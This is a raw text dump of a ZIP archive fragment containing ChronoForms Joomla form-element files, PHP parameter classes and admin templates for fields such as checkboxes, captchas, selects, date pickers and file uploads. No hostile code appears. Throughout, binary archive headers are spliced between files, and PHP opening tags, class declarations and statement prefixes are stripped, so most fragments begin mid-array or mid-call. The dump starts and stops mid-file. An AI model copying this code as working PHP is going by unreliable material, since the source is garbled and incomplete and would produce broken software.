'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_checkbox_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_checkbox_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_checkbox_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_checkbox_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> input('input_checkbox_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_checkbox_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_checkbox_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?> tabStart('ghost'); ?> input('input_checkbox_{n}_ghost_config', array('type' => 'checkbox', 'label' => 'Enable Ghost', 'class' => 'small_input', 'value' => '1', 'rule' => "bool", 'smalldesc' => 'The ghost is a hidden field with the same name to assure that a key with this field name always exists in the POST array.')); ?> input('input_checkbox_{n}_ghost_value_config', array('type' => 'text', 'label' => 'Ghost Value', 'value' => '', 'class' => 'medium_input', 'smalldesc' => 'Value here will appear if no choice has been made.')); ?> tabEnd(); ?>
      PKs>\HN/com_chronoforms/form_elements/input_captcha.phpnuW+A 'input_captcha_{n}', 'label_id' => 'input_captcha_{n}_label', 'label_text' => 'Enter the code', 'hide_label' => '0', 'input_name' => 'chrono_verification', 'input_id' => '', 'input_title' => '', 'input_value' => '', 'input_maxlength' => '5', 'input_class' => 'chrono_captcha_input', 'label_over' => '0', 'validations' => '', 'instructions' => '', 'tooltip' => '', 'container_id' => 0, 'input_size' => '5'); } return array('element_params' => $element_params); } } ?>PKs>\Hװ_ .com_chronoforms/form_elements/input_select.phpnuW+A 'input_select_{n}', 'label_id' => 'input_select_{n}_label', 'label_text' => 'Label Text', 'hide_label' => '0', 'label_over' => '0', 'multiline_start' => '0', 'multiline_add' => '0', 'input_name' => 'input_select_{n}', 'input_id' => '', 'input_class' => '', 'input_title' => '', 'enable_dynamic_data' => 0, 'data_path' => '', 'value_key' => '', 'text_key' => '', 'selected' => '', 'options' => 'No=No'."\n".'Yes=Yes', 'showempty' => '', 'multiple' => '0', 'size' => '1', 'validations' => '', 'tooltip' => '', 'container_id' => 0, 'instructions' => ''); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ if(strlen($formdata_element[$field_header.'_showempty'])){ $showempty = $formdata_element[$field_header.'_showempty']; }else{ $showempty = false; } $formcontent_item_array['empty'] = $showempty; if((bool)$formdata_element[$field_header.'_multiple']){ $formcontent_item_array['multiple'] = (bool)$formdata_element[$field_header.'_multiple']; } $formcontent_item_array['size'] = $formdata_element[$field_header.'_size']; $formcontent_item_array['selected'] = $formdata_element[$field_header.'_selected']; $formcontent_item_array['label_over'] = $formdata_element[$field_header.'_label_over']; $formcontent_item_array['hide_label'] = $formdata_element[$field_header.'_hide_label']; $formcontent_item_array['multiline_start'] = $formdata_element[$field_header.'_multiline_start']; $formcontent_item_array['multiline_add'] = $formdata_element[$field_header.'_multiline_add']; $formcontent_item_array['enable_dynamic_data'] = $formdata_element[$field_header.'_enable_dynamic_data']; $formcontent_item_array['data_path'] = $formdata_element[$field_header.'_data_path']; $formcontent_item_array['value_key'] = $formdata_element[$field_header.'_value_key']; $formcontent_item_array['text_key'] = $formdata_element[$field_header.'_text_key']; $temp_options = explode("\n", $formdata_element[$field_header.'_options']); foreach($temp_options as $temp_option){ $temp_option_details = explode('=', $temp_option); $formcontent_item_array['options'][strval($temp_option_details[0])] = trim($temp_option_details[1]); } $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['class'] = $formdata_element[$field_header.'_input_class']; $formcontent_item_array['title'] = $formdata_element[$field_header.'_input_title']; $formcontent_item_array['validations'] = $formdata_element[$field_header.'_validations']; $formcontent_item_array['smalldesc'] = $formdata_element[$field_header.'_instructions']; $formcontent_item_array['tooltip'] = $formdata_element[$field_header.'_tooltip']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PKs>\5J6xx0com_chronoforms/form_elements/input_datetime.phpnuW+A 'input_datetime_{n}', 'label_id' => 'input_datetime_{n}_label', 'label_text' => 'Select date', 'hide_label' => '0', 'label_over' => '0', 'multiline_start' => '0', 'multiline_add' => '0', 'input_name' => 'input_datetime_{n}', 'input_id' => '', 'input_value' => '', 'input_class' => '', 'input_title' => '', 'input_maxlength' => '150', 'validations' => '', 'instructions' => '', 'tooltip' => '', 'container_id' => 0, 'addtime' => 0, 'timeonly' => 0, 'input_size' => '16'); } return array('element_params' => $element_params); } } ?>PKs>\/xx.com_chronoforms/form_elements/input_header.phpnuW+A '', 'clean' => 0, 'multiline_start' => '0', 'multiline_add' => '0', 'container_id' => 0, ); } return array('element_params' => $element_params); } } ?>PKs>\ԭB ,com_chronoforms/form_elements/input_text.phpnuW+A 'input_text_{n}', 'label_id' => 'input_text_{n}_label', 'label_text' => 'Label Text', 'hide_label' => '0', 'label_over' => '0', 'multiline_start' => '0', 'multiline_add' => '0', 'input_name' => 'input_text_{n}', 'input_id' => '', 'input_value' => '', 'input_maxlength' => '150', 'input_class' => '', 'input_title' => '', 'validations' => '', 'instructions' => '', 'tooltip' => '', 'container_id' => 0, 'input_size' => '30'); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['default'] = $formdata_element[$field_header.'_input_value']; $formcontent_item_array['maxlength'] = $formdata_element[$field_header.'_input_maxlength']; $formcontent_item_array['size'] = $formdata_element[$field_header.'_input_size']; $formcontent_item_array['class'] = $formdata_element[$field_header.'_input_class']; $formcontent_item_array['title'] = $formdata_element[$field_header.'_input_title']; $formcontent_item_array['label_over'] = $formdata_element[$field_header.'_label_over']; $formcontent_item_array['hide_label'] = $formdata_element[$field_header.'_hide_label']; $formcontent_item_array['multiline_start'] = $formdata_element[$field_header.'_multiline_start']; $formcontent_item_array['multiline_add'] = $formdata_element[$field_header.'_multiline_add']; $formcontent_item_array['validations'] = $formdata_element[$field_header.'_validations']; $formcontent_item_array['smalldesc'] = $formdata_element[$field_header.'_instructions']; $formcontent_item_array['tooltip'] = $formdata_element[$field_header.'_tooltip']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PKs>\D112com_chronoforms/form_elements/input_security_q.phpnuW+A 'input_security_q_{n}', 'label_id' => 'input_security_q_{n}_label', 'label_text' => '{chrono_security_question}', 'hide_label' => '0', 'input_name' => 'chrono_security_answer', 'input_id' => '', 'input_title' => '', 'input_value' => '', 'input_maxlength' => '150', 'input_class' => '', 'label_over' => '0', 'validations' => '', 'instructions' => '', 'tooltip' => '', 'container_id' => 0, 'input_size' => '30'); } return array('element_params' => $element_params); } } ?>PKs>\3x!x!0com_chronoforms/form_elements/input_datetime.ctpnuW+A
      Datetime Picker
      input('chronofield[{n}][input_datetime_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_datetime_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_datetime_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_datetime_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_datetime_{n}_input_maxlength]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_input_maxlength', 'value' => $element_params['input_maxlength'])); ?> input('chronofield[{n}][input_datetime_{n}_input_size]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_input_size', 'value' => $element_params['input_size'])); ?> input('chronofield[{n}][input_datetime_{n}_input_class]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_input_class', 'value' => $element_params['input_class'])); ?> input('chronofield[{n}][input_datetime_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_datetime_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_datetime_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_datetime_{n}_timeonly]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_timeonly', 'value' => $element_params['timeonly'])); ?> input('chronofield[{n}][input_datetime_{n}_addtime]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_addtime', 'value' => $element_params['addtime'])); ?> input('chronofield[{n}][input_datetime_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_datetime_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_datetime_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation'), 'input_datetime_element_config_{n}'); ?> tabStart('general'); ?> input('input_datetime_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_datetime_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_datetime_{n}_input_value_config', array('type' => 'text', 'label' => 'Field Default Value', 'class' => 'small_input', 'value' => '')); ?> input('input_datetime_{n}_input_maxlength_config', array('type' => 'text', 'label' => 'Field Max Length', 'class' => 'small_input', 'value' => '')); ?> input('input_datetime_{n}_input_size_config', array('type' => 'text', 'label' => 'Field Size', 'class' => 'small_input', 'value' => '')); ?> input('input_datetime_{n}_input_title_config', array('type' => 'text', 'label' => 'Field Title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_datetime_{n}_addtime_config', array('type' => 'checkbox', 'label' => 'Enable Time picker', 'class' => 'small_input', 'value' => '1', 'rule' => "bool")); ?> input('input_datetime_{n}_timeonly_config', array('type' => 'checkbox', 'label' => 'Time picker ONLY', 'class' => 'small_input', 'value' => '1', 'rule' => "bool")); ?> input('input_datetime_{n}_input_class_config', array('type' => 'text', 'label' => 'Field Class', 'class' => 'small_input', 'value' => '')); ?> input('input_datetime_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_datetime_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_datetime_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_datetime_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_datetime_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> input('input_datetime_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_datetime_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?> tabStart('validation'); ?> You should have the 2 checkboxes below checked in order for the "Default" date/time picker validation to work correctly, but if you are using the "Mootools Picker" then only "Required" should be checked.
      input('input_datetime_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> input('input_datetime_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Point to Clone', 'class' => 'small_input', 'value' => 'target:%field_name%_clone_id', 'rule' => "split", 'splitter' => ",", "smalldesc" => 'You must enable this for the "Default" time picker ONLY!')); ?> tabEnd(); ?>
      PKs>\ɗ .com_chronoforms/form_elements/input_header.ctpnuW+A
      Formatted Text

      input('chronofield[{n}][input_header_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_header_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_header_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_header_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?>
      Header(array('general' => 'General'), 'input_header_element_config_{n}'); ?> tabStart('general'); ?> input('input_header_{n}_clean_config', array('type' => 'checkbox', 'label' => 'Pure code', 'class' => 'small_input', 'value' => '1', 'rule' => "bool", 'smalldesc' => 'Should the code be outputed without being included inside any stuff ?')); ?> Add/Remove editor input('input_header_{n}_code_config', array('type' => 'textarea', 'label' => 'Code', 'class' => 'text_editor', 'label_over' => true, 'rows' => 20, 'cols' => 70, 'style' => 'width:450px !important;')); ?> input('input_header_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_header_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?>
      PKs>\Z"",com_chronoforms/form_elements/input_text.ctpnuW+A
      Text Box
      input('chronofield[{n}][input_text_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_text_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_text_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_text_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_text_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_text_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_text_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_text_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_text_{n}_input_maxlength]', array('type' => 'hidden', 'id' => 'input_text_{n}_input_maxlength', 'value' => $element_params['input_maxlength'])); ?> input('chronofield[{n}][input_text_{n}_input_size]', array('type' => 'hidden', 'id' => 'input_text_{n}_input_size', 'value' => $element_params['input_size'])); ?> input('chronofield[{n}][input_text_{n}_input_class]', array('type' => 'hidden', 'id' => 'input_text_{n}_input_class', 'value' => $element_params['input_class'])); ?> input('chronofield[{n}][input_text_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_text_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_text_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_text_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_text_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_text_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_text_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_text_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_text_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_text_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation'), 'input_text_element_config_{n}'); ?> tabStart('general'); ?> input('input_text_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_text_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_text_{n}_input_value_config', array('type' => 'text', 'label' => 'Field Default Value', 'class' => 'small_input', 'value' => '')); ?> input('input_text_{n}_input_maxlength_config', array('type' => 'text', 'label' => 'Field Max Length', 'class' => 'small_input', 'value' => '')); ?> input('input_text_{n}_input_size_config', array('type' => 'text', 'label' => 'Field Size', 'class' => 'small_input', 'value' => '')); ?> input('input_text_{n}_input_title_config', array('type' => 'text', 'label' => 'Field Title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_text_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> input('input_text_{n}_input_class_config', array('type' => 'text', 'label' => 'Field Class', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_text_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_text_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_text_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_text_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> input('input_text_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_text_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Alpha', 'class' => 'small_input', 'value' => 'alpha', 'rule' => "split", 'splitter' => ",")); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'AlphaNum', 'class' => 'small_input', 'value' => 'alphanum', 'rule' => "split", 'splitter' => ",")); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Digit', 'class' => 'small_input', 'value' => 'digit', 'rule' => "split", 'splitter' => ",")); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'No Digit', 'class' => 'small_input', 'value' => 'nodigit', 'rule' => "split", 'splitter' => ",")); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Number', 'class' => 'small_input', 'value' => 'number', 'rule' => "split", 'splitter' => ",")); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Email', 'class' => 'small_input', 'value' => 'email', 'rule' => "split", 'splitter' => ",")); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Phone', 'class' => 'small_input', 'value' => 'phone', 'rule' => "split", 'splitter' => ",")); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'International Phone', 'class' => 'small_input', 'value' => 'phone_inter', 'rule' => "split", 'splitter' => ",")); ?> input('input_text_{n}_validations_config', array('type' => 'checkbox', 'label' => 'URL', 'class' => 'small_input', 'value' => 'url', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?>
      PKs>\E.2com_chronoforms/form_elements/input_security_q.ctpnuW+A
      Security Question Input
      input('chronofield[{n}][input_security_q_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_security_q_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_security_q_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_security_q_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_security_q_{n}_input_maxlength]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_input_maxlength', 'value' => $element_params['input_maxlength'])); ?> input('chronofield[{n}][input_security_q_{n}_input_size]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_input_size', 'value' => $element_params['input_size'])); ?> input('chronofield[{n}][input_security_q_{n}_input_class]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_input_class', 'value' => $element_params['input_class'])); ?> input('chronofield[{n}][input_security_q_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_security_q_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_security_q_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_security_q_{n}_hide_label', 'value' => $element_params['hide_label'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation'), 'input_security_q_element_config_{n}'); ?> tabStart('general'); ?> input('input_security_q_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '')); ?> input('input_security_q_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> input('input_security_q_{n}_input_value_config', array('type' => 'text', 'label' => 'Field Default Value', 'class' => 'small_input', 'value' => '')); ?> input('input_security_q_{n}_input_maxlength_config', array('type' => 'text', 'label' => 'Field Max Length', 'class' => 'small_input', 'value' => '')); ?> input('input_security_q_{n}_input_size_config', array('type' => 'text', 'label' => 'Field Size', 'class' => 'small_input', 'value' => '')); ?> input('input_security_q_{n}_input_class_config', array('type' => 'text', 'label' => 'Field Class', 'class' => 'small_input', 'value' => '')); ?> input('input_security_q_{n}_input_title_config', array('type' => 'text', 'label' => 'Field title', 'class' => 'small_input', 'value' => '')); ?> input('input_security_q_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_security_q_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_security_q_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_security_q_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_security_q_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_security_q_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?>
      PKs>\y=FF2com_chronoforms/form_elements/input_page_break.phpnuW+A 'New Page', 'container_id' => 0, ); } return array('element_params' => $element_params); } } ?>PKs>\P&,com_chronoforms/form_elements/input_file.ctpnuW+A
      File Upload
      input('chronofield[{n}][input_file_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_file_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_file_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_file_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_file_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_file_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_file_{n}_input_class]', array('type' => 'hidden', 'id' => 'input_file_{n}_input_class', 'value' => $element_params['input_class'])); ?> input('chronofield[{n}][input_file_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_file_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_file_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_file_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_file_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_file_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_file_{n}_ghost]', array('type' => 'hidden', 'id' => 'input_file_{n}_ghost', 'value' => $element_params['ghost'])); ?> input('chronofield[{n}][input_file_{n}_ghost_value]', array('type' => 'hidden', 'id' => 'input_file_{n}_ghost_value', 'value' => $element_params['ghost_value'])); ?> input('chronofield[{n}][input_file_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_file_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_file_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_file_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation', 'ghost' => 'Ghost'), 'input_file_element_config_{n}'); ?> tabStart('general'); ?> input('input_file_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_file_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_file_{n}_input_title_config', array('type' => 'text', 'label' => 'Field Title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_file_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> input('input_file_{n}_input_class_config', array('type' => 'text', 'label' => 'Field Class', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_file_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_file_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_file_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_file_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> input('input_file_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_file_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_file_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?> tabStart('ghost'); ?> input('input_file_{n}_ghost_config', array('type' => 'checkbox', 'label' => 'Enable Ghost', 'class' => 'small_input', 'value' => '1', 'rule' => "bool", 'smalldesc' => 'The ghost is a hidden field with the same name to assure that a key with this field name always exists in the POST array.')); ?> input('input_file_{n}_ghost_value_config', array('type' => 'text', 'label' => 'Ghost Value', 'value' => '', 'class' => 'medium_input', 'smalldesc' => 'Value here will appear if no choice has been made.')); ?> tabEnd(); ?>
      PKs>\n6s8  0com_chronoforms/form_elements/input_checkbox.phpnuW+A 'input_checkbox_{n}', 'label_id' => 'input_checkbox_{n}_label', 'label_text' => 'Label Text', 'label_position' => 'left', 'hide_label' => '0', 'label_over' => '0', 'multiline_start' => '0', 'multiline_add' => '0', 'input_name' => 'input_checkbox_{n}', 'input_id' => '', 'ghost' => '1', 'ghost_value' => '', 'input_title' => '', 'input_value' => '1', 'checked' => '0', 'validations' => '', 'tooltip' => '', 'container_id' => 0, 'instructions' => ''); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ $formcontent_item_array['checked'] = (bool)$formdata_element[$field_header.'_checked']; $formcontent_item_array['value'] = $formdata_element[$field_header.'_input_value']; $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['ghost'] = $formdata_element[$field_header.'_ghost']; $formcontent_item_array['ghost_value'] = $formdata_element[$field_header.'_ghost_value']; $formcontent_item_array['label_over'] = $formdata_element[$field_header.'_label_over']; $formcontent_item_array['hide_label'] = $formdata_element[$field_header.'_hide_label']; $formcontent_item_array['multiline_start'] = $formdata_element[$field_header.'_multiline_start']; $formcontent_item_array['multiline_add'] = $formdata_element[$field_header.'_multiline_add']; $formcontent_item_array['title'] = $formdata_element[$field_header.'_input_title']; $formcontent_item_array['label_position'] = $formdata_element[$field_header.'_label_position']; $formcontent_item_array['validations'] = $formdata_element[$field_header.'_validations']; $formcontent_item_array['smalldesc'] = $formdata_element[$field_header.'_instructions']; $formcontent_item_array['tooltip'] = $formdata_element[$field_header.'_tooltip']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PKs>\r7/com_chronoforms/form_elements/input_captcha.ctpnuW+A
      Captcha Input
